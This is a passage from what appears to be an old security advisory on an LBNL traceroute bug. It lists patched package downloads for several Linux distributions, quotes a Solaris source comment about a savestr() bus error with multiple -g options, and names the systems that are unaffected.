ftp://updates.redhat.com/5.2/i386/traceroute-1.4a5-24.5x.i386.rpm
ftp://updates.redhat.com/5.2/SRPMS/traceroute-1.4a5-24.5x.src.rpm
ftp://updates.redhat.com/6.2/alpha/traceroute-1.4a5-24.6x.alpha.rpm
ftp://updates.redhat.com/6.2/sparc/traceroute-1.4a5-24.6x.sparc.rpm
ftp://updates.redhat.com/6.2/i386/traceroute-1.4a5-24.6x.i386.rpm
ftp://updates.redhat.com/6.2/SRPMS/traceroute-1.4a5-24.6x.src.rpm
For Debian:
http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5-3.diff.gz
http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5-3.dsc
http://security.debian.org/dists/potato/updates/main/source/traceroute_1.4a5.orig.tar.gz
http://security.debian.org/dists/potato/updates/main/binary-alpha/traceroute_1.4a5-3_alpha.deb
http://security.debian.org/dists/potato/updates/main/binary-arm/traceroute_1.4a5-3_arm.deb
http://security.debian.org/dists/potato/updates/main/binary-i386/traceroute_1.4a5-3_i386.deb
http://security.debian.org/dists/potato/updates/main/binary-m68k/traceroute_1.4a5-3_m68k.deb
http://security.debian.org/dists/potato/updates/main/binary-powerpc/traceroute_1.4a5-3_powerpc.deb
http://security.debian.org/dists/potato/updates/main/binary-sparc/traceroute_1.4a5-3_sparc.deb
For SuSE Linux:
SuSE-7.0: ftp://ftp.suse.com/pub/suse/i386/update/7.0/a1/nkitb-2000.10.4-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/nkitb-2000.10.4-0.src.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/a1/nkitb-2000.10.4-0.sparc.rpm
ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/nkitb-2000.10.4-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/a1/nkitb-2000.10.5-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/nkitb-2000.10.5-0.src.rpm
SuSE-6.4: ftp://ftp.suse.com/pub/suse/i386/update/6.4/a1/nkitb-2000.10.4-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/a1/nkitb-2000.10.4-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/a1/nkitb-2000.10.4-0.ppc.rpm
ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/nkitb-2000.10.4-0.src.rpm
SuSE-6.3: ftp://ftp.suse.com/pub/suse/i386/update/6.3/n1/nkita-2000.10.4-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.3/zq1/nkita-2000.10.4-0.src.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/n1/nkita-2000.10.4-0.alpha.rpm
ftp://ftp.suse.com/pub/suse/axp/update/6.3/zq1/nkita-2000.10.4-0.src.rpm
SuSE-6.2: ftp://ftp.suse.com/pub/suse/i386/update/6.2/n1/nkita-2000.10.4-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.2/zq1/nkita-2000.10.4-0.src.rpm
SuSE-6.1: ftp://ftp.suse.com/pub/suse/i386/update/6.1/n1/nkita-2000.10.4-0.i386.rpm
ftp://ftp.suse.com/pub/suse/i386/update/6.1/zq1/nkita-2000.10.4-0.src.rpm
SuSE-6.0: Please use the update packages from the 6.1 distribution.
For ImmunixOS:
http://www.immunix.org:8080/ImmunixOS/6.2/updates/RPMS/traceroute-1.4a5-24.6x_StackGuard.i386.rpm
http://www.immunix.org:8080/ImmunixOS/6.2/updates/SRPMS/traceroute-1.4a5-24.6x_StackGuard.src.rpm
For TurboLinux:
ftp://ftp.turbolinux.com/pub/updates/6.0/traceroute-1.4a7-2.i386.rpm
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/traceroute-1.4a7-2.src.rpm
Even though Solaris 7 and later include LBNL traceroute, the first
version of the source checked into SCCS has the following
interesting comment (this branch dates from 98/01/12):
/*
* LBNL bug fixed: used to call savestr(), which was buggy
* it gives bus error when more than one -g used
* savestr.h removed
*/
The code was completely removed when IPv6 support was integrated
much later.
FreeBSD, SuSE, HpUX, OpenBSD, Slackware are safe.